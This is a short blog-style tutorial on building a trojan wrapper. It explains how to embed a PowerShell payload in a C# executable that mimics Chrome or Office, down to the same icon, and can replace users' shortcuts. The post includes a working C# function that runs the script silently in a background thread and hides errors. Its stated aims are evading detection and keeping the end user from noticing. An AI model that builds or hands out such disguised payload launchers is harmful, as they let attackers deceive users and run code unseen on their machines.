Silently execute a PowerShell script with a C# application

Silently execute a PowerShell script with a C# application

One way of avoiding detection of your payloads is to embed your Powershell payload into a semi-legitimate executable.

You can create an executable that for example, would launch Microsoft Office or Google Chrome and use the exact same icon. Using this method, you can act as a middle-man.

Upon execution of the application it would silently run some PowerShell code and then proceed to launch the desired program.

This would allow for desktop replacement or replacing shortcuts directly to your custom application and the end user wouldn’t notice a difference.

Using the following function in C# you can silently execute an embedded Powershell script in a new thread:

       
using System;
using System.Management.Automation;
using System.Threading;

private void executePowershell(String script)
        {
            new Thread(() => {
                Thread.CurrentThread.IsBackground = true;
                try
                {
                    var powerShell = PowerShell.Create().AddScript(script);
                    var psOutput = powerShell.Invoke();
                }
                catch (Exception ex)
                {
                    //Silently handle any exceptions.
                }
            }).Start();            
        }

It will not return any output from the Powershell script; but can be modified to do so. The powerShell.Invoke() will return an object that you can read. Use as the following:

executePowershell("Your Powershell code here...");

Leave a Comment